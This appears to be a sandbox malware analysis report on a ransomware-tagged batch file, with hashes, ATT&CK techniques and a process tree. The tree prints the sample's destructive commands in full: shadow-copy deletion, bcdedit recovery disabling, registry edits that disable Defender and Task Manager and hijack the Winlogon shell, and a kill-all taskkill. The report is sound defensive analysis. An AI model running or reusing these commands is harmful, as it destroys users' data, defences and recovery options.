80985b1841da3f12661a642e73e6e30cc1f2a7a032ee0947270b79bc647f0e2c

Analysis

max time kernel
0s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/06/2026, 10:24

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
105a0ebc_.bat
Size 1KB
Sample260625-mfb3aaay8w
SHA256 80985b1841da3f12661a642e73e6e30cc1f2a7a032ee0947270b79bc647f0e2c
MD5 b50c5380bc3b1da9f88631aaaa182d74
SHA1 d417c996e9a47007840745c9c3ce28d042fc5a32
SHA512 bd120235674cd2ff430886a298957198275efeefc2d8449dab70daab255b74d62c402d7cc1025016660860162bf72a971eca7b34bd2bf377474af9b4af835eed
TLSH
T1ED21AE1129168322D792B570E44F2803F3BBE38B2820AEA075477095587F181C9FD6E6
MD5 SHA1 SHA512 TLSH

Score

9^/10

defense_evasion evasion execution impact ransomware

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 5 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5932	bcdedit.exe
1352	bcdedit.exe
5060	bcdedit.exe
3140	bcdedit.exe
2760	bcdedit.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
4860	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
2348	taskkill.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeBackupPrivilege	5328	vssvc.exe
Token: SeRestorePrivilege	5328	vssvc.exe
Token: SeAuditPrivilege	5328	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1528 wrote to memory of 4528	1528	cmd.exe	89
PID 1528 wrote to memory of 4860	1528	cmd.exe	90

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\105a0ebc_.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1528
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:4528
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /for=c: /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4860
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5932
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1352
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5060
- C:\Windows\system32\bcdedit.exe
  bcdedit /timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3140
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2760
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:1828
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  PID:1256
- C:\Windows\system32\reg.exe
  reg add "HKCR\.exe" /ve /t REG_SZ /d "txtfile" /f
  2⤵
  PID:3748
- C:\Windows\system32\reg.exe
  reg add "HKCR\.bat" /ve /t REG_SZ /d "txtfile" /f
  2⤵
  PID:5184
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:1708
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:5008
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "cmd.exe" /f
  2⤵
  PID:3308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\b.bat"
  2⤵
  PID:5164
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5904
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:1012
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4948
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5008
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4656
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:836
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3100
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:3044
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4556
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:4912
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1788
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5632
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5180
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5184
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4552
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5844
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1324
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:5732
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2616
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4760
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3828
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:6528
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1444
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5608
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3920
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5084
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5496
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3988
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4892
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3744
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3796
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4428
  - - C:\Windows\System32\win32calc.exe
      "C:\Windows\System32\win32calc.exe"
      4⤵
      PID:6552
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5012
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6012
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2996
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4352
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1656
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3180
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1892
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3188
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2704
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1156
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2328
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:676
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5664
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5880
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5484
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5672
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1948
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3504
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5316
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1172
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1032
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4532
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5172
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3584
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:964
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1244
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3292
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4276
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3616
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1728
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2444
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2600
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2664
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2756
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3296
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1792
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2268
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3556
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5988
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2448
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:3108
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4516
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5388
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2260
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:540
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6140
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2720
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6076
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5028
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:1924
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:2724
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:4140
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:5944
- - C:\Windows\system32\calc.exe
    calc.exe
    3⤵
    PID:6700
- C:\Windows\system32\taskkill.exe
  taskkill /f /fi "pid ne 0"
  2⤵
  - Kills process with taskkill
  PID:2348

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5328

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Privilege Escalation

Defense Evasion

Direct Volume Access

T1006

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

b.bat

Path C:\Users\Admin\AppData\Local\Temp\b.bat
Size 31B
SHA256 5ca015a86f546893680dfbe34d6a785a836b0d4a51e690435afc2b101b219af9
MD5 db1bcbc79a6b9826eb1be3c6d9843b01
SHA1 1392776b6b340bde91bd507654fc5b404be00f46
SHA512 72fdc4ba40b9fbe589ff0ee4a3e3729144cefdfa104a95cd4567151ea09fc900cac170fe9abc76ed467e6bf0fbaefa973474cb317d96e6e34396aaf657c637df
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads